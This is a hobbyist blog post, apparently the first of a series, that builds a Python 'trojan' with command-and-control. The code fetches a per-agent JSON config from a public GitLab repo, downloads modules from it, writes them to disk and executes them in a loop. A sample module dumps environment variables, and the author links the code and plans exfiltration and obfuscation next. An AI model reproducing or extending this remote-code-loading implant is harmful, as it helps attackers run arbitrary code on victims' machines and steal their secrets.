Happy new year! I’ve been busy visiting family for the last little bit, so haven’t had a lot of time to write blogs. Today I’m going to show the basics of a command and control server, which I’ve loosely based of Black Hat Python but decided to write from scratch just for the fun of it. Code is available on my github
The point
This is a thing I’ve used in the past to control some raspberry pis I kept under my living room coffee table for a while. I had a github repo set up similarly to the one I’ll detail in this post, and they would bot around and scrape websites based on what I’d put in my config repo.
This presents some great flexibility in being able to deploy a bot or trojan and change its functionality as time goes on and your needs change, as the code only needs to be deployed once and will keep itself up to date.
Starting point
The first thing I did was set up a gitlab project (why gitlab? I dunno, cause I could I guess) to hold my scrapable data. Let’s have a look at how we’re going to configure one of our agents.
I’m using a GUID as an ID here for each of my agents, so my config files
will be keyed under config/{GUID}.json
. Ideally I’d like to encrypt
this in a production type system to hide what I’m doing from prying eyes,
but for now plain text is fine.
Let’s bust one of our config files out
{
"modules": [
{
"name":"dirlister"
},
{
"name":"environment"
}
]
}
Pretty simple JSON object. Should be obvious what I’m doing here, with that list of modules of the functionality that we’ll be loading up later. The black hat python book uses a full git repo approach, but meh, I find web scraping works fine for most things unless I want to write something back to a repo, and using a public endpoint means you avoid having to ship SSH keys around the place.
Grabbing that config
Gitlab provides us with a way to get the raw text of a file in a repo they host, which in our case is https://gitlab.com/threetoes/config-repo/raw/master/config/b494b07e-5e27-4073-8db2-f550d60308e4.json
All we need to do is one HTTP get request and we’re ready to roll. For that
we’re going to use the requests
library available in PyPi.
If you need a rundown on Python’s virtual env, this article is a good summary of what you need to do to get started.
With that sorted, we’ll grab our config file
import json, requests
class Trojan:
def __init__(self, config_location):
resp = requests.get(config_location)
self.__config = json.loads(resp.content.decode('utf-8')
def main():
conf = 'https://gitlab.com/threetoes/config-repo/raw/master/config/b494b07e-5e27-4073-8db2-f550d60308e4.json'
t = Trojan(conf)
if __name__ == '__main__':
main()
Here, we load and store the configuration dictionary in our trojan object, ready to act on it.
Loading the code
We get the code much the same way as the config, so I’ll skip it for now and leave you to work the code out. Loading the code, however, is something interesting. I’ll probably end up changing this part later on in the repo, but for a quick and dirty script this works ok.
We’ll load our code up in a new class and run a ‘well known’ function in the module.
import importlib.machinery
class ModuleLoader:
def __init__(self, modulesRepo):
self.__modules_repo = modulesRepo
def load_module(self, mod_name):
mod_path ='modules/' + mod_name + '.py'
try:
resp = requests.get(self.__modules_repo + mod_name + '.py')
if not os.path.isdir('./modules'):
os.mkdir('./modules')
if os.path.isfile(mod_path):
os.remove(mod_path)
with open(mod_path, 'w') as f:
f.write(resp.content.decode('utf-8'))
except Exception as e:
print(e)
return None
return importlib.machinery.SourceFileLoader(mod_name, mod_path).load_module()
Here we pull down the code from our config and modules repo, save it to
the ./modules/
folder, then load it into our system ready to run using
importlib.machinery.SourceFileLoader
.
I’d like to see if I could do this without writing the file out, but that’s future Stephen’s job.
Running the code
We next take the loaded module and run the run()
method in it. Again,
I’d like to be able to pass arguments and whatnot, but that can come later
This is what a module looks like
import os
def run():
print(os.environ)
Pretty easy, right? For now it just prints stuff to the terminal, but we can extend this to do something more interesting later.
Running the function itself is just as easy
class Trojan:
#...
def start(self):
self.__update_thread.start()
while True:
for mod in self.__conf["modules"]:
a = self.__loader.load_module(mod["name"])
if a != None:
a.run()
time.sleep(60)
We literally just call the run()
method on the returned module object.
Easy as.
At this point, I’m not very happy with the main program loops to get it to update itself, so I’ll probably rethink that one and fix it this week.
Next steps
Next blog post I’ll be going over getting data back from the trojan and possibly obfuscation of the repo. I think I can probably keep this one interesting for another two or three posts, we’ll see what I can come up with. Until next time!